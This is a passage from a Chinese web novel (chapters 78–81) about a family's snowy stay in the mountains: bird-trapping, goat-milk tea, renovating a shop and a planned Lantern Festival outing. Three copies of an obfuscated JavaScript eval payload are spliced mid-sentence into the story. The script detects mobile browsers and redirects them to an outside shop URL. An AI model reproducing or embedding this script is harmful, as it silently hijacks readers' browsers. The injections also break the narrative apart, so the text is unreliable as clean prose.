罗水林在旁边息事宁人,“好啦好啦,赶紧睡,爹爹要熄蜡烛喽。等下熄了蜡烛可不能再讲话,山里头多的是精怪,它们耳朵尖③得很,听到小孩子的声音就会来抓。” 于是一家人安静睡下去,山里人烟稀少,晚上除了风声与偶尔响起的鸟啼与不知名的兽吼,便再听不见其他声音。 睡了半刻,正迷迷糊糊间,李兰香忽然感到耳朵旁热烘烘的,原来是宝珠凑过来,用低低的气声在她耳边问:“娘亲,那到底是精怪的耳朵好使,还是舅舅的耳朵好使呀?” “噗哈哈哈哈……”其余三人全都哄笑起来,吓了宝珠一跳。这么大声,精怪听到了,该不会来抓她了吧? 李兰香被她搞得又好气又好笑,恐吓道:“再不睡是吧?把你丢去跟舅舅睡,等晚上精怪过来,你看一看到底谁的耳朵尖。” “不要不要!”宝珠吓得马上摇头,紧闭上眼睛装睡,说道:“我睡着了。” “睡着的人是不会讲话的。”宝珍在边上提示,然后推一推她,“宝珠宝珠,你睡了么?” 果然,宝珠再也不开口了。 两夫妻和宝珍见状,偷笑一阵,瞧着宝珠真的渐渐睡着,便也睡下了。如此,一夜好眠。 78. 捉雀 次日清晨宝珍与宝珠起床时,山上已是一片白茫茫,树木、竹林、山溪、房屋,全都被覆盖上一层薄雪,展眼望去,处处粉妆玉砌。 由于出来的急,又未料到会落雪,李兰香就没有给两个娃娃带厚衣裳,还是李母有准备,将阁楼上尘封许久的木箱子打开,取出两件兔子皮缝制成的皮袄子,给她们套在身上。 兔皮袄厚实暖和,只是因为放得久,毛色不太鲜亮了,有些发黄,另外掉毛严重,秃了几块,不过都不影响穿着。 李兰香瞧着,忍不住上手摸了摸,说道:“这还是我和哥哥小时候穿过的呢。” “亏到你还记得。”李母笑眯眯的,把扣子一个个扣上,然后讲道:“你爹当时攒了好几年的皮子,专门挑的白兔皮,就因为你爱漂亮,说想要件没有杂色的白袄子。” “可山上的兔子大多是灰兔、黄兔,遇上只白兔真比捡金子还难,你爹就天天去挖陷阱、做套索,那几年山上的兔子真是遭了殃,就这样一只一只给攒起来,做了两件袄子。” 旧袄子透着股陈旧的香气,宝珍被袄子围脖上的绒毛刺得痒痒,忍不住挠了挠脸颊。 “哎哟,不舒服么?”李母紧张地上手翻看衣领,“不应该呀,这袄子每年我都要拿出来晒上几次的,又放在樟木箱子里,不能有跳蚤的吧。” “不是,是毛毛擦的痒。”宝珍出言安抚外婆。 李母听罢舒口气,又笑起来,“你们外祖从你俩出生起也给攒了皮子,是灰狼皮,说要以后拿给你们做嫁妆呢。” “怎地我出嫁没有灰狼皮?”李兰香佯装吃醋。 李母上手拍她,“那你把我的狐狸皮还回来,没良心的。” “我可告诉你,你出嫁时给的那块狐狸皮收好,要是有急用,拿出去当掉,能值得几十两银子呢,可不能损坏了。” “嗯,晓得喽~”李兰香答道。从古至今,狐狸皮都是比狼皮要贵重的,一个是细毛一个是粗毛,李兰香当然晓得,只不过想要逗趣而已。 且珍稀动物的皮毛价钱都贵,想要获取张狐狸皮或狼皮,那可比捉兔子要难得多,一年难得猎到一只。猎户家中若是偶然有了好皮子,也都是舍不得自己用,要拿去换钱买粮的,由此看来,李父李母真当是疼惜李兰香了。 穿好衣裳,两姐妹出来到堂屋。堂屋的大门敞开着,由于昨晚落雪,飘到了廊下,此时罗水林正拿着大竹扫帚在扫雪呢。 院墙底下种的猫儿刺被雪覆盖住,昨晚落了点冻雨,最下面的叶子结了一层冰,晶莹剔透的,好看的很。 屋外的空气冷冽,呼吸间能看到嘴里冒出的白气,宝珍和宝珠略站了一会儿便受不住冻,纷纷躲进屋里来。 李父招呼她们:“快来火边暖暖手,等下就能吃早饭了。” 李家堂屋的木地板中间有一块是可以活动的,里面埋了一个大火盆,冬日天冷后,就可以将木板取掉,在火盆里烧柴取暖。 宝珍宝珠依言过去,端了两把小竹椅坐在他旁边,不过一会儿,身上的寒气就驱散了。 早上吃的是简易的肉粥,里面还放了各类干菇,味道极其鲜美。 吃过早饭,耐不住闲的舅舅李虎又去屋后竹林旁的山溪里取冰。因山上气温低,所以年前猎到的动物取了肉,全都存放在深深的地窖里头,李虎把取到的冰放进去,更能给肉保鲜。 两姐妹坐烦了,也要跟着去,李母就给她俩穿防水的皮靴子,又告诫她们,若是觉得冷就赶紧回来,莫被冻病了,两人赶忙应承。 来到山溪,溪水依旧潺潺,只是靠近溪边的地方水流和缓,结起了厚厚的一层冰。 李虎拿了把铁锹,用力将冰砸碎,然后叫宝珍和宝珠把冰块抱起来,丢到筐子里头,等装满整个筐子,他再背去地窖里。 两个人跟着舅舅忙忙碌碌,搬冰搬得不亦乐乎,手指头都冻红了。等把冰背到地窖,她俩见里面黑洞洞的,还散发着一股腥气,就不敢跟下去了,给舅舅打了声招呼,两人就跑回了家。 “冷不冷?”李母拥住两个娃,见到她们手指头冻得通红,赶紧拿手给她们搓一搓。 宝珠吸了吸鼻子,开心地答道:“不冷。搬冰好好玩,等下我还要跟舅舅去。” “不能去不能去,再去就真要冻病了。”李母包住四只小手,往她们手上哈气。 “再去玩冰,手指头都要冻掉。”李母恐吓她俩:“你看,现在手都红了,再玩就会长冻疮,烂得一块一块的,晚上睡觉,手都不能放被子里,要不然痒得你受不了。” 两姐妹只好作罢,乖乖跟着她来火盆边,不再闹着出去。李母还把她俩的鞋子脱了,让坐在椅子上,然后将两个人的小脚搁在自己大腿,给她们揉脚取暖。 下了雪无事做,除了坐着吃东西,好像也没没有其他取乐的法子。 午饭吃的是烙锅,这是西南人常吃的吃食,李父早年间走南闯北时去过一次,吃了后觉得好吃便学了来,只是家里人对于鱼腥草接受不了,所以就改了方子自己做。 李父把锅洗净了,抬出铁架子来,将锅架在上面,直接在堂屋火盆上做。 烙锅是特制的,中间凸四面凹。李母和李兰香把各种肉洗净切好,用盐巴、香油、酱油、山椒等调料腌制了,又将萝卜、冬笋、荠菜、山葱等该洗的洗、该切的切,全都一一准备好,端到堂屋来,准备烤肉吃。 李母把肥肉先垫到锅子上,放在最中间凸起的地方。等肥肉被烤的滋滋冒油,顺着锅身流下来,润了一遍锅后,这才将肉铺上去。 萝卜、冬笋之类的素菜,就沿着锅边放,这样它们一边烤,一边吸足了流下来的动物油脂,吃起来会更香。 两姐妹看得眼热,都想要自己上手烤一烤,李母就把筷子递给她们,教导她们如何放肉、如何烤肉、怎样判断肉有没有熟透。 等到亲手烤的肉好了,再沾一沾用干辣椒面、山椒粉、盐巴等制好的蘸料,取一片青菜叶子,一同塞进嘴巴里。 “唔……”宝珠的小嘴塞得满满当当,吃得眼睛放光,等咽下嘴里的食物,她一脸夸张地赞叹道:“太好吃了!这真的太好吃了吧!” 一家子人都被她逗笑。李母更是开怀,顾不上自己吃,一个劲儿地给两个外孙女烤肉。 宝珍同样爱吃这一口,烤过的肉外焦里嫩,吃起来酥脆多汁,特别是蘸上李母的独门蘸料,更是香的不得了。 两姐妹埋头苦吃,直吃到肚子鼓起来才放筷子,嘴边沾了一圈油,看起来水润润的。 吃罢饭歇了个午觉,李虎怕她们闲着无聊,便等她俩睡醒后,就要带她们去山里捉雀儿。 宝珍问:“舅舅,这落了雪还有鸟儿会出来么?” “当然有。”李虎边切肉丝边回答她:“就是落了雪才好抓。” “这个时候它们没得东西吃,树上的果子被雪遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283452|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,地里的山鼠、□□全都缩在洞里,不会出来。它们肚子饿了,寻不见吃食,见到食物就会扑上去,也没那么警惕了。” 李虎切了肉丝装小袋子里,又抓了一把谷子带走。两姐妹被李母裹得严严实实,带上帽子和麻布手套,一同跟在他屁股后面。 抓鸟雀的地方就在家旁边不远,李虎也不敢带她们进深林,这个时候不仅是鸟雀没吃食,山里的野兽们同样空着肚子呢。兽类饿的挨不住,便会比平常更凶猛,甚至会主动寻衅滋事,找人来吃。 李虎除了拿诱饵,还背了弓箭与砍刀,这是拿来以防万一的,手上拎着小竹篓子和细网。 等到了空地,他在雪上撒一把谷子,然后将竹篓倒扣在谷子上,用树枝撑起竹篓的一边,作为鸟雀进去的口子,另外在树枝上绑好绳子,绳子的另一端被他握在手里。 树上挂了细网,里面放了几条肉丝,只要等鸟雀嗅见肉味一进网,他抽拉网口的绳子,便能把鸟儿锁在里面,再不能飞出去。 等把一切布置好,他在竹篓外再撒几粒谷子做障眼法,就带着两姐妹藏到树后面去,只等笼中捉鸟了。 果然像他说的,雪后更容易捉鸟。不一会儿,就有两只红腹山雀飞了过来,停留在旁边的树枝上观察,等发现没有天敌,就咻的一下窜进网子里,拿嘴去叼肉丝吃。 “舅舅,快拉绳呀!”宝珠急得差点蹦起来,直拉李虎的袖子,压低声音提醒他收网。 李虎是熟手了,哪需要她提醒,手轻轻一拽,网口就被收拢,小山雀便锁在里面了。 这个时候两只红腹山雀才警觉起来,在网子里扑扇翅膀到处乱撞。李虎爬上树把网摘下,问她们:“你们要不要养它玩?” 红腹山雀是杂食动物,体型又小没几丝肉,猎户们几乎不会耗费心力抓鸟雀来吃,只是抓来给她们玩,尝下乐趣便是。 宝珍拿手去碰,没想到山雀很烈性,鸟喙短短尖尖,直冲着宝珍的手指头,想叼块肉下来。 “哎!”李虎急忙把网子挪开,“小心些,这山里的鸟可不受训,啄人不见血不罢休的。” 宝珍也被吓了一跳,想了想,问道:“有人养它,它会听话些么?” “那我就不晓得了,我没养过。”李虎笑呵呵的。 “那还是放了它吧。”宝珠给山雀求情,主要她怕被啄,宝珍也在旁边点头认同。 于是刚捉到的两只雀儿吃过肉,饱足了肚子,又被李虎放飞回了山林。 雪地上的竹篓等过了一会儿,同样有了收获,居然罩住了一只十分漂亮的小野鸡。 小野鸡可能是年纪尚小,还没体验过猎人的狡猾,从树林里踱步下来的时候,优雅得很,见到洒在雪上的谷子,不急不慌地吃起来,吃完了竹篓周遭的,又钻进里面去,甚至不用李虎拉绳子,自己将树枝绊倒了,被罩在里头。 “哈哈哈哈哈……”宝珍和宝珠眼见它那么蠢萌,全都乐笑起来。 李虎带着她俩去翻篓子,小野鸡居然都不躲闪,一点不害怕人的样子,乖乖的就被李虎折着翅膀提起来了。 “看来这个会好养。”李虎也稀奇,从没碰上过这么驯服的野鸡。 见这下捉住了动物,再加上天冷,玩也玩够了,李虎便带宝珍宝珠回家去。 带回家的小野鸡,因怕它飞出去,李母就拿剪子稍微修了修它的羽翼,便丢进羊圈里,任由它跟两头羊待一起。 79. 奶茶 捉回来的小野鸡一点不怕生人,宝珠得了空就去羊圈拿粮食喂它,不过一个晚上,它就被从羊圈里放出来,拖着长长的尾羽到处在院子里游弋,刨雪找食儿吃。 李母说,它应当是落雪后被饿坏了,现下有充足的吃食、有暖和的窝住,所以才这般老实。 “外婆,你要养着它吃肉么?”宝珍有些不忍心,实在是这只小野鸡太过乖巧。 李母哪能不晓得小娃娃们在想些什么,再说自家又不差这一点肉吃,便安抚两姐妹道:“还太小,若要养到它长足了肉,起码要等到春分,我可不想费这么多粮食,还是等化雪后就放走吧。” “外婆,你真好!”宝珍和宝珠听后放下心来,眼睛闪亮亮地看着她。 李母面上微笑,心道:肉倒是不足惜,就是可惜了屁股后边这几根鲜亮的尾羽,若是拔下来卖去戏园子里制成雉鸡翎,也能得个半串钱了。 不过再看看跟在腿边傻乐呵的两个外孙女,那钱不钱的么,也不是十分重要喽。 上山的第三日放了晴,到处都在化雪。屋顶上融的雪水顺着雨链流下来,院子里铺了石板倒还好些,只是有积水而已;外头地上则要污糟许多,树林子里有腐叶,被雪水泡囊了,一踩便是一个泥坑,还十分容易滑倒。 这般情况下,两姐妹就不再出门了,去逗弄野鸡玩,连圈里的羊也被放出来,拿干草去诱食,使得它们跟在屁股后边“咩咩”叫。 羊崽子还小,正是吃奶的时候,可可爱爱的,身上长着细滑的短毛,头上隆起两只嫩嫩的短角,瘦瘦小小的,连宝珠都能抱起它来。 母羊护崽,一开始见到小羊被抱走,便低头竖着角来撵她们,追在人屁股后面跑,直把宝珠吓得哭叫起来。还是李虎有准备,早早在旁边看着,一见到羊追人,就上去对着拧它的角,拧过几次,母羊使脱了力,便放任她们跟小羊玩了。 宝珠把小羊抱进屋,带它一起烤火。两姐妹从没养过猫啊狗啊的,早就对这种毛茸茸的生物眼馋不已了,如今有乖巧柔弱的小羊陪她们玩,也不嫌弃无聊了,两个人你抱一会儿,我抱一会儿,拿脸去贴它,一点不觉得膻。 晚上吃饭的时候,李母端了两碗雪白的饮子来,还冒着热气呢,叫宝珍与宝珠喝。 “这是什么呀?好难闻。”宝珠捏着鼻子,嫌弃地拿手推开碗。 李母笑眯眯的,“这可是好东西,山羊奶。” “那羊就生了个独崽子,每日里喝不完的奶都被淌掉了,实在可惜。下午的时候我就去挤了奶,煮开拿来给你们喝,外婆还在里头放了不少蜜呢,甜的很,趁热赶紧喝掉。” 说是这样说,但把碗端近凑到鼻子处,那股浓郁的膻味和羊骚味真是直冲脑子,连闻一闻都感觉要打哕。 宝珍勉强抿了一小口,天爷呀,入口的羊奶膻味竟然被放大了百倍,感觉就像是追在羊屁股后面吸了一嘴,那味道直冲天灵盖,喝得她立马控制不住吐出来,“呕……” “哎哟!”李母赶紧拿布巾来给她擦嘴,又自己端碗试了一口,“有这么难喝么……” 话没说完,便同样被羊奶打了脑壳,膻得她控制不住表情,勉强才把奶吞下去。 宝珠在旁见了,更是不敢喝了,捂着嘴巴摇头,躲得远远的。 “不喝便不喝吧。”李母同样给自己擦擦嘴,解释道:“以前我和你外祖进城里喝过水牛奶,香的很呢,倒是没想到羊奶这么骚,人都要晕过去。” 最后这两碗奶还是物归原主,给小羊喝掉。 李兰香倒是真觉得这羊奶好,滋补,正适合拿来给两个女儿补身体。只是这味道么,实在是太冲了,得想个法子去掉膻气才行。 想起北地草原上的牧民好似会拿茶叶与奶同煮,不晓得这个法子能不能奏效,于是第二日李兰香便操干起来,先试一试再说。 把自家炒制的茶叶取一小撮,跟刚挤出来的羊奶一起放进锅里面煮,宝珍跟在她旁边瞧,忽地出声:“娘,羊奶太骚了,有没有干桂花、干茉莉花什么的香花,放进去抵消它的味道呀。” 这倒是个好法子。李兰香赞许地夸奖了宝珍,便去找李母问寻了。 “桂花和茉莉花没有,我倒是采了不少金银花和野菊花,晒干了存着呢。”李母答道。 于是煮制的羊奶中又投入了干的金银花与野菊花进去,等沸过一刻钟,几人再闻一闻,这羊奶好似真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299732|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有那么膻了,隐隐散发出奶香、茶香与野菊花的香气。 熬好的羊奶放置一会儿,表面就结了一层皱皱的奶皮,等李兰香把奶皮子揭去,里面的羊奶早已变为了浅浅的褐色,这是由于茶叶与干花煮后产生的变化。 李母受到启发,把存的红枣与干桃片拿出来,先滤掉茶叶渣与花渣,再把它们切碎了一同放羊奶里头,然后舀蜂蜜进去调味。 这样一番操作下来,羊奶的膻味真的被除去了许多,虽还能闻到些许,但至少可以让人接受,能入嘴了。 宝珍和宝珠啜饮一口,唔,真的是又香又甜,奶乎乎的,丝滑的不得了,里面的红枣和桃片还能掏出来吃掉呢。 等把碗放下,两个人的嘴边都多了一圈奶沫子,宝珠伸长舌头舔掉,举着碗叫道:“娘,给我再来一碗!” 呵哟,还真是豪爽!李父和李母瞧着她俩喝奶的小模样,爱得不行。 除去做成奶茶,李兰香还整了新花样。用栗子蒸熟磨成泥,添煮过的羊奶进去,再将红枣干剁得碎碎的洒里头,加茶油、糖和面粉揉制搅拌,捏成漂亮的花糕,最后放进锅里蒸。 做出来的糕点,宝珍给它取了个名儿,就叫红枣奶酪栗子糕。 红枣奶酪栗子糕厚实,吃起来却顺滑,里面的羊奶被煮过,又自带一丝茶香,还能尝到碎红枣不同的甜味和口感,比之中秋节时做的桂花栗子糕,更加好吃。 一家人坐在廊下晒日头,煮茶吃糕点,宝珍又给李兰香提建议:“娘,你开食铺,也可以售卖自己做的糕点呀。我觉得,你做的点心比专门的点心铺子里卖的,还要甜、还要好吃呢!” 李兰香正有此意,应和道:“在铺子里做小食售卖就可以啦,毕竟我会做的花样不多,还是比不得人家专门开点心铺子的。” 吃了一口糕,想了想又道:“这栗子还可以换作成枣泥、山药泥,这样替换,便能解决栗子只有秋冬两季才有的问题了。” 见李兰香如此专研,宝珍不禁动容,举起茶杯敬贺道:“凭借娘亲的手艺,咱家的铺子一定生意兴隆!” “生意兴隆!”众人全都举杯微笑应和,饮下这杯茶,共同期待和迎接新生活! 80. 手艺 因着融雪下山路滑,一家四口直在山上住到了年初十才回去。 在山里住的久了,习惯了推门见山的一片青绿和山间只有鸟鸣啾啾的寂静,忽然间踏上平地,见到乡人们依旧在庆年的热闹气氛,倒还有些不大适应。 李兰香回到家,去老宅取钥匙,孙婆子见她回来,惊讶道:“怎个不住多些日子?这融雪天,地都没晒硬,下山可危险。你们等元宵再回来也不急么。” “前些时候下雪,我就猜到你们一时半会儿回不来。倒不如趁这个机会,你多跟你爹娘亲近亲近,在他们身边尽尽孝心嘛。” 其实今年已经是住的够久了,往年里想着还要去走亲戚,一般待个三四日就要下山来。这次着急回家,还是因为要开铺子的事。 李兰香笑着回她:“这几日天晴,我们也是见着地上没水了才敢回来的,娘你莫担心。” “水林哥年前跟砌墙的师傅约定了,就是这几日要去修葺铺子呢,倒不好爽约。” “那倒是,还是铺子要紧点,也不能给人家师傅添麻烦。”孙婆子点点头,去屋里取钥匙给她,讲道:“家里的鸡鸭我每日都让宝银去喂两遍食,不过落雪那晚太冷了,冻死了一只鸭子,我就给拿回来吃掉了,你等下从我这里赶一只回去。” 鸭子冻死了?这可对李兰香来讲是件好事。毕竟家里养的鸭,送出去五只还剩了两只,放在家里,姐妹俩又不让杀又不让吃的,光养着不白费粮食么。 “不用不用,你们吃掉就是了嘛。”李兰香偷笑还来不及,赶忙摆手拒绝,拿过了钥匙就跑回家,生怕孙婆子硬捱一只鸭子给她。 回家开了门,院落里被收拾的干干净净,一点鸡粪鸭粪都没有。跟过来的宝银邀功道:“我每日喂了食都要扫一遍地才走呢,还有落雪第二日,爹就带着我和大哥过来铲雪咯,说是怕融雪后把院子地给泡囊。” 罗水林听罢摸摸他的脑袋瓜,夸赞道:“做的不错嘛!看来咱们家牛蛋过个年,不光长了个子,聪明劲儿也长了不少。你婶婶从娘家带了好吃的来,等下给你装一包袱走哈。” 宝银盼的就是这一刻,嘿嘿笑个不停。要晓得,深山里好吃的东西才多呢,每次婶婶回娘家都会带许多零嘴儿回来,分给他吃。 李兰香把背篓里的东西一一拿出来,除了李母特意让她带回来的从前小时候她穿过的衣裳,最多的便是各种吃食了,有各类肉干、果仁,还有囤的野蜂蜜和采的晒干后常见的几味药材。 她把肉干和果仁装好包袱,又拿一小罐子蜂蜜给宝银,叮嘱他:“这是五味子蜜,能药用的。你带回去给你娘,告诉她,若是腹泻、失眠、心悸,就泡一陶匙来喝。” “诶!”宝银应了,李兰香又叫他留下来吃饭,于是晚间宝银便在叔婶这边用过饭后才回去。 第二日起了,罗水林一人去了县城,跟砌墙的师傅碰头,商定好如何修葺铺子的事宜。 宝珍和宝珠问李兰香:“娘亲,你怎么不去县城呀,不用看着铺子么?” “你们以为修葺铺子很容易么,一日就能完的成。”李兰香边洗碗边回答她们:“要先让师傅实地看过,制订了事项,才能开始动工的。” “这些事儿我不太懂,让你爹去操心就行了。说是要先刮墙,把墙面被熏黑的地方刮掉,这才好翻新,装竹片上去呢。” “另外原来的炉子要打掉,重新在门尾处砌灶房,起了灶再修一堵墙,隔开后厨与前厅,最后还要整平地面和安装门窗这些,都不是能一蹴而就的,不用上半个月时间完不成。”李兰香这般与她们解释道。 “哦。”两个人愣愣地应了,的确是搞不太懂。即便宝珍比宝珠多活了一世,但她之前年纪尚小,还没上大学就穿了过来,实在是没什么生活经验,更别提装修的事情了。 罗水林从这一日起,开始变得十分忙碌,几乎每日都要去一趟县城监工加帮工。 铺子里的木材与竹材是年前便定好的,家里的罗水森就是木匠,自然不会再去外边找其他师傅。于是铺子的门窗和桌椅,都是由大伯罗水森来制作,从年前签了铺子的契约后就开工了。 宝珍在他做门时便天天去老宅看,时不时提个建议啥的,李兰香由着她,毕竟这花哨的门是她想出来的主意。 过了年后,宝银就正式跟着父亲学木匠手艺。之前为了训练他的耐心,罗水森硬是叫他雕了不少桃核儿提篮,抓到宝银有空便让他去推刨子、磨榫卯,总算让他能静下心来坐半日了,这才愿意教他真本领。 此时见到宝珍日日过来,他是一脸幽怨啊,谁家好人连元宵还没过,就要开始做活了,简直比家里养的牛还苦啊,毕竟它们还要等到种田时才要去翻土拉犁呢。 “宝珍,你来磨这个。”他把节节草递给宝珍,教她给木料抛光。现下有人跟他一起做活,总算是安慰不少了。 罗水森边锯木头边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321429|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫眼风给他,见自家臭小子没点当哥哥的样子,还看不懂眼色,驽钝得很,只好开口道:“宝珍,别听你二哥哥的,这是我让他做的活计,叫他自己做。” “没关系呀,我觉得很好玩,很轻松。”宝珍拿着节节草哼哧哼哧地磨呀磨。 打磨的确不太累,而且宝珍还挺喜欢这种一点一点把事物处理完成的感觉,看到自己亲手打造的成品,她会觉得很满足。 “咳咳……嗯。”罗水森清嗓子提醒宝银,见他还是不开窍,便走过来蹲下,拿掉宝珍手里的节节草,耐心跟她讲道:“刚刨的木料上有木刺,若是不小心刺进手指头,十指连心,那可疼得很,还是不要做了。” 又回头瞪一眼宝银,骂他:“牛蛋,你学手艺便是这样学的么?我现在可不是你爹,而是你师傅!” “师傅交给徒弟做的事,那是一定要亲力亲为完成的。你以为现在还是过家家吗,想做就做,不做就不做,或者推给其他人做?要是我当初学手艺是你这种态度,师傅早就把我轰出来了。” 宝银挨了训,只好站起身,闷闷不乐地跟宝珍致歉道:“妹妹,对不住,我不应该把我的事情推给你做的。”实在是冤呐,他又不是故意偷奸耍滑要宝珍做活的,只是自家爹爹是个闷葫芦,太无聊了想要个人陪他一起而已嘛。 “没事没事,我真的喜欢做的。”宝珍有些惴惴,望着大伯认真讲道:“不关二哥哥的事,是我自己也想试一试。但是伯伯你说会刺手,那我就不做了吧。” 罗水森冲她笑一笑安抚她,态度也认真起来,柔声讲道:“伯伯没有怪宝珍和牛蛋的意思,只是要告诉牛蛋,既然是拜师学手艺,那就要摆出好学、肯学的态度来,要是连这点困难都应对不了,那怎么能学成出师呢,宝珍你说对不对?” “嗯嗯!”这些话宝珍还是听得懂的,见大伯借机教育宝银,便认同道:“伯伯说得对,自己的活自己干,还要认真,还要干好。” 再给宝银戴一顶大帽子,“我觉得二哥哥学得越来越好了,上次给我和宝珠雕的提篮,可好看!可漂亮了!” 呜呜呜……果然还是妹妹好,宝银感动地朝宝珍眨眨眼,又悄悄在自己亲爹后边翻个白眼。 哼!别以为他不知道,自家爹娘已经懊恼许久,为啥他生来不是个女儿家,偏偏是个小子,凑不成一对“好”字呢。哼!看他这样,不晓得的人还以为宝珍是他亲生女儿呢,就是偏心呗! 81. 元宵节 罗水林在铺子里监工,每天早上辰时①不到便出门,顶着暗色赶路去县城,晚间再走夜路回来,戌时才能到家。日日忙碌不止,虽还在年节里,但依旧是瘦了一圈。 那打铁的江家夫妇自年后便开始收拾东西,初七就租了牛车回去邻府,将铺子钥匙归还给东家,还特地寄存了一套自己打的刀具让东家送与李兰香他们,以示祝贺。 李兰香知道了,心底有些触动,同时也挺惭愧。早晓得就应该在签下契约后,请江家夫妇吃顿饭的,这下倒搞得好像占了人家便宜,感觉怪不自在的。 自从拿到了铺子钥匙,罗水林约师傅上门,两人就做起了苦力。先是刮去墙灰,接着打掉炉子,每日都是灰扑扑的回来,搞得一身脏。 晚上一家人坐着吃饭时,宝珠边吃饭边瞅他,过一会儿就眼泪巴巴的,连喜欢吃的肉都不要了,扑到罗水林怀里直问:“爹爹,你是老了么,怎么跟村里婆婆们一样,头发都变白了?” 原来是罗水林刮墙灰刮到后面,白白的灰落了一头,掺和在头发丝里面,整个脑袋都变得花白花白的了,眼睫同样也被上了色。 他回过神来摸摸头,哭笑不得地将宝珠重新抱坐回长凳上,然后开玩笑道:“哎哟,宝珠不哭不哭哈,这是落的灰在头上。你看,爹爹给你变个戏法,立马就返老还童,重新变年轻喽。” 罗水林下桌走远一些,拿布巾子弯腰将头上的灰掸去,果然头发变回黑色了。宝珠也止住哭,愣愣地看着他。 “哼!哼!”接着他左右擤了擤鼻子,见到鼻涕里也都是灰,于是抱怨道:“灰真重!今日还只刮了一面墙呢,真不敢想到时候打炉子能有多脏。” 宝珍见了,第二日便求李兰香给爹爹和砌墙的师傅做两副口罩。要知道,灰尘里面的污染源可多,一旦侵入进人的气管和肺里,会对身体带来不可逆的伤害的。 她沾水在桌子上给李兰香画花样,讲解道:“前面拿两层布做布兜,围住嘴巴和鼻子,然后四边缝上绳,可以系在脑后,这样爹爹就不会再吸灰进鼻子里了。” “嘶,你这脑袋瓜,还真好使!”李兰香听宝珍讲解完,疑惑地摸摸她的头。最近又是做门又是做口罩的,也不晓得她从哪里来的这么多巧思。想来想去,家里人都不是顶聪明的,那就只能归结为宝珍比较早慧了。 做好的简易版口罩拿给罗水林和师傅试戴,果然得到了他们的一致好评,以后不用再在刮墙时闭气了,舒服许多,就是还剩眼睛容易落灰进去。但这点宝珍也解决不了,毕竟现在还没有玻璃出现呀。 忙活了几日,慢慢到了正月十五。 正月十五元宵节,又称为上元节,跟除夕、清明、端午、中秋一样,都是人们非常重视的节日。“千门开锁万灯明,正月中旬动帝京②”,在京城里头,这天晚上连皇帝都会从宫里出来,走上城楼观戏,与万民同乐。 县城虽比不得京城繁华,但过节的气氛同样热烈。罗水林在县里,早早就见所有铺子都挂上了灯笼,四条主街更是在楼与楼、街与街之间串上彩绳,把各色漂亮灯笼吊上去,等到晚上天黑后点起蜡烛,美得好似在仙境里一般。 宝珍和宝珠听到他这样讲,眼馋的不得了,她们还没试过在晚上去县城里观灯呢,于是一个两个的接连上阵,央求罗水林和李兰香,问询能不能今年元宵节,带她们去县里看灯会。 不过这个提议遭到了李兰香的拒绝,元宵节同样也是团圆日,每年都是一大家子聚在一起,跟除夕一样在老宅吃饭的,总不能因为姐妹俩想看灯会,就打破这个传统吧。 姐妹俩很泄气,去老宅找大哥哥和二哥哥玩时也提不起劲来。 宝金见到宝珠嘟着个嘴,闷闷不乐地在抽罗水森新做出来给她们玩的木陀螺,于是上前接过她手里的鞭子,“咻咻”两下抽得那陀螺滴溜滴溜地转,再甩出手抱起宝珠颠了颠,哄她道: “怎个啦?这个嘴巴翘的都可以挂油壶了吧。是挨了叔叔的骂,还是被婶婶训了?” 宝珠歪在他怀里摇了摇头,然后跟大哥哥悄悄咬耳朵:“我想与姐姐去县城玩,爹爹说晚上有灯会,可漂亮,可热闹啦。但是娘亲不许我们去,说晚上要来老宅和你们吃饭的,所以我们就不能去县城看灯会了。” 她说完后眨巴眨巴眼睛盯着宝金,绞着手指头,不一会儿又凑过来,压低声音道:“大哥哥,你能不能去帮我跟阿公、阿嬷,还有你的爹爹和娘亲讲,就说,我们今晚不过来吃饭了,我们要去县城玩,不要做我们的饭。” “啊?哈哈哈……”宝金噗呲一声笑出来,这是想先斩后奏啊,让他去跟阿公阿嬷串个声儿,到时候真的没做饭菜,她们就可以借口出来玩喽。 “你这鬼灵精。”他被宝珠可爱到,咬牙捏捏她的脸颊肉,埋怨道:“好事不想着你大哥哥,专门让我做坏人是吧。” 不过年年在家过元宵,一样的流程倒真是有些腻了。想一想自己今年攒的钱和收到的红包,他把宝珠放下地,转身就去屋内找孙婆子和罗老头商议去了。 孙婆子一开始不答应,元宵节晚上吃的菜都买好了,哪能说不做就不做。再说了,进城里看灯会不要吃饭么,那不又是一大笔花销。 “哎哟阿嬷!”宝金坐到她旁边,揽住她的肩膀直晃,撒娇道:“县城里的灯会真的很热闹的,听姑姑讲,晚上有唱戏的、舞龙灯的,还有各种杂耍,好玩的紧,难道你就不想去看看么?” “不想去。”孙婆子双手抱在胸前,丝毫没有被大孙子的撒娇影响到,冷漠地摇了摇头,“我都一大把年纪了,还去凑什么热闹。” 